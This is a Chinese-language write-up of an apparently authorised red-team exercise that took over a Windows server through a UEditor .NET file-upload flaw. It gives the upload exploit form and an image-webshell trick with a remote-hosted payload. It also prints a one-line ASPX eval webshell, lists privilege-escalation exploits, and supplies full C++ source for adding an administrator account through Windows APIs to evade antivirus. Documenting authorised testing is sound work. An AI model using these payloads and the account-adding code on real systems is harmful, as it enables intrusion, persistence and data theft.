從App頁面路徑泄露到服務器淪陷
0×01簡述
對這段時間做的一次攻防演練做一個記錄,這次給我們分了三個目標,一個目標是甲方單位自己的一個自建系統,其余兩個是甲方的下級單位的系統。開始之前覺得不好做,因為攻防演練跟HW有些差別,HW可以不限制攻擊手法,可以從上游供應鏈,社工、釣魚多種角度出發來挖掘漏洞。這次攻防演練給我們三個目標、兩個web系統、一個app,可以利用的點非常少,不可以攻擊其他的系統,只能搞這幾個目標,要不是這次運氣好真的就拉垮了。
0×02開局一個登陸框
開局就是一個登陸框,開整。
遇到登陸可以做的滲透路徑大概就是
- 爆破弱口令——爆破的傳統思路都是固定賬號爆破密碼,還有一種姿勢是固定密碼爆破用戶名。比如使用固定密碼123456,爆破常用用戶名或者常用人名拼音。
- 掃目錄——-目錄掃描是一個存在驚喜的地方,說不定能掃描到后臺未授權訪問的鏈接、備份文件、編輯器、敏感信息等。
- 框架漏洞——-如果能夠發現網站使用的某種CMS,例如thinkphp就直接通過已有的漏洞來攻擊
- 源碼查看——-右鍵查看JS源碼,你可能會發現被注釋的賬號密碼、接口、token、真實IP、開發環境等可以利用的信息。

使用ip138查詢了這個域名的ip
放到fofa里面查到四個開放的端口
ip=”192.168.1.1”

正常訪問的端口只有兩個,一個是443就是這個登陸框頁面的端口,一個80端口是一個404頁面

其他信息沒啥收集的了,目標不能打偏所以就不看C段了
常規的開始掃一下目錄吧
dog警告

用延時掃描目錄

掃了一晚上啥也沒掃到,還有一個80端口的404還沒掃用dirsearch開掃
糟糕直接把IP給ban了

繼續用延時掃描還是沒掃出來東西。
放到云溪里面查一下能不能找到這個系統的框架

查了個寂寞
看一下源碼js文件

空空如也
最后只剩下一招爆破弱口令 幸好沒有驗證碼
由于網站部署的有安全狗 所以我們爆破的時候線程調低到線程1就好

返回登陸框隨便輸入一個賬號密碼,回顯的是賬號或密碼有誤,請重新輸入! 所以我們無法通過輸入回顯來得到賬號信息
只能用超級大字典來爆破了,


通過全國姓名拼音加賬號top100加密碼top1000沒有爆破出來(最后才知道賬號是手機號)
0×03山重水復疑無路
忽然想起來這個單位還有一個APP,立馬下載APP放到mumu模擬器打開

登錄頁面跟web的不能說很像,簡直就是一模一樣

登陸框這里是沒有辦法下手了 看看其他的功能
burp和模擬器設置一下代理

打開burp點擊app的一些頁面,查看返回包的時候忽然發現了ueditor這簡直絕了 為啥當時目錄掃描沒掃到。

山窮水復疑無路,柳暗花明又一村。
居然看見了ueditor編輯器。
漏洞描述
這個編輯器是百度開發的一款編輯器,目前已經不對其進行后續開發和更新,存在多個漏洞(文件上傳,xss,ssrf)文件上傳漏洞只存在于該編輯器的.net版本。其他的php,jsp,asp版本不受此UEditor的漏洞的影響,.net存在任意文件上傳,繞過文件格式的限制,在獲取遠程資源的時候并沒有對遠程文件的格式進行嚴格的過濾與判斷。
影響范圍
該漏洞影響UEditor的.Net版本,其它語言版本暫時未受影響。
漏洞檢測
我們可以看下XRAY的poc
name: poc-yaml-ueditor-cnvd-2017-20077-file-upload
rules:
- method: GET
path:/ueditor/net/controller.ashx?action=catchimage&encode=utf-8
headers:
Accept-Encoding:'deflate'
follow_redirects:false
expression:|
response.status ==200&& response.body.bcontains(bytes(string("沒有指定抓取源")))
detail:
author:清風明月(www.secbook.info)
influence_version:'UEditor v1.4.3.3'
links:
- https://zhuanlan.zhihu.com/p/85265552
- https://www.freebuf.com/vuls/181814.html
exploit:>-
http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8
使用GET方式請求了路徑/ueditor/net/controller.ashx?action=catchimage&encode=utf-8如果響應里面存在沒有指定抓取源就證明存在漏洞。
拼接一下我們的網站嘗試一下
www.xxx.com/ueditor/net/controller.ashx?action=catchimage&encode=utf-8

非常完美
漏洞利用
1、我們可以利用post方法直接上傳文件到目標網站
Poc:
action="http://www.xxx.com/ueditor/net/controller.ashx?action=catchimage"enctype="multipart/form-data"method="POST"> shell addr: type="text"name="source[]"/> type="submit"value="Submit"/>

在利用這個POC的時候,需要一個外網服務器,上傳腳本文件,其中【shell addr】后填寫的就是服務器上腳本的地址加上后綴(?.aspx)。
制作一個圖片馬放到外網服務器上面
copy 1.jpg/b +2.aspx 3.jpg
一句話腳本
<%@ Page Language="Jscript"%><%eval(Request.Item["zhanan"],"unsafe");%>

把腳本文件放到服務器上面

腳本地址:http://服務器地址/3.jpg
poc里面shell addr填http://服務器地址/3.jpg?.aspx

然后點擊submit上傳

上傳成功 并得到腳本路徑

0×04提權
成功getshell之后 我們下一步就是提權了 使用whoami查看系統權限
iis apppool\47middleschool權限
使用tasklist /svc查看系統有沒有安裝殺毒軟件(可以看到安裝了安全狗,之前掃目錄的時候已經看到了)

使用systeminfo查看系統版本信息和補丁情況(服務器是2008R2版本)
補丁情況可以使用在線網站來查詢
補丁查詢網址

復制補丁然后粘貼到框里面就可以查看改系統可以使用的腳本了

我們是win2008系統 可以看到我們可以使用的腳本如下

windows2008 可用腳本: KB3124280 : MS16-016 KB3134228 : MS16-014 KB3079904 : MS15-097 KB3077657 : MS15-077 KB3045171 : MS15-051 KB3000061 : MS14-058 KB2829361 : MS13-046 KB2850851 : MS13-053 EPATHOBJ 0day限32位 KB2707511 : MS12-042 sysret -pid KB2124261 : KB2271195 MS10-065 IIS7 KB970483 : MS09-020 IIS6
由于該系統在正常運行,所以我們不能影響系統的正常使用,這些提權腳本有的是溢出漏洞,可能會導致系統的崩潰或者藍屏,所以我們需要在本地安裝win2008系統來測試這些腳本的使用,是否可以正常使用。
在本地起一個win2008虛擬機系統并創建一個低權限的賬號

查找我們可以使用的腳本來進行利用嘗試
使用MS16-014下載使用

打開使用

宕機藍屏

所以說我們盲目的去使用一些可能會導致系統崩潰的腳本來嘗試正常的業務環境,如果導致客戶的業務崩潰,可能會造成一些無法挽回的損失。
最后使用ms15-051提權成功。system權限

使用system權限添加管理員賬號時被狗狗攔截了

最后請教了一些大佬,大佬們說可以使用Windows api函數添加管理員賬戶,去百度學習了一番
我們在滲透測試過程中需要添加管理員賬號是通常是通過CMD調用net命令,然而一些殺軟會限制CMD的一些命令,我們就可以使用windows自帶的api函數來執行這些操作,從而繞過一些殺軟的限制。(很老的方法了,很多的殺軟都開始限制api的一些高危操作了)
代碼原理:
使用NetUserAdd添加普通權限的用戶,NetLocalGroupAddMembers添加管理員權限。
代碼如下:
#ifndef UNICODE
#define UNICODE
#endif
#include
#include
#include
#include
#pragma comment(lib,"netapi32")
intUsage(wchar_t*);
int wmain(int argc,wchar_t* argv[])
{
// 定義USER_INFO_1結構體
USER_INFO_1 ui;
DWORD dwError =0;
ui.usri1_name = L"test";// 賬戶
ui.usri1_password = L"Test@qq.com";// 密碼
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
//添加名為test的用戶,密碼為Test@qq.com
if(NetUserAdd(NULL,1,(LPBYTE)&ui,&dwError)== NERR_Success)
{
std::cout <<"[+] Add Success!!! ";
std::cout <<"[+] UserName:Bypass360 PassWord:Success@qq.com";
}
else
{
//添加失敗
std::cout <<"[+] Add User Error!";
}
// 添加用戶到administrators組
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = ui.usri1_name;
if(NetLocalGroupAddMembers(NULL, L"Administrators",3,(LPBYTE)&account,1)== NERR_Success)
{
//添加成功
std::cout <<"[+] Add to Administrators Success";
}
else
{
//添加失敗
std::cout <<"[+] Add to Administrators Error!";
}
return0;
}
可通過vs編譯成exe文件

簡單實驗:在開啟Defender和火絨的情況下沒有攔截
可以看到system權限如果通過CMD添加賬號會被火絨攔截

如果使用api添加賬號并賦予超級管理員權限(可以看到結果火絨和windows防火墻沒有進行攔截 成功添加超級管理員賬號)


通過shell把我們的exe文件上傳 并通過ms15-051的system權限來運行

但是廢了這么大勁居然沒有反應。
本地起一個環境來看一下是哪里出問題了,安裝一個安全狗。


這是啥情況,我本地安全狗沒有攔截啊,猜想可能是系統做了某種限制。此路不通。
最后拿到服務器是通過下載網站備份文件,然后翻網站配置文件找到了數據庫密碼。



盲猜一波這個密碼就是服務器密碼。成功登陸。(耐心和細心)

最后也是很幸運的完成了這次演練,也拿到了大量的敏感信息,相信甲方應該會滿意吧。


0×05總結
其實有時候很多系統都是馬奇諾防線這種看似很強,但是你只要找到一個點從而利用就輕而易舉的繞過或者突破他,滲透測試過程中的細心的耐心也是必不可少的要素之一,最后希望朋友們可以對文章中的不足提出建議請多多指教!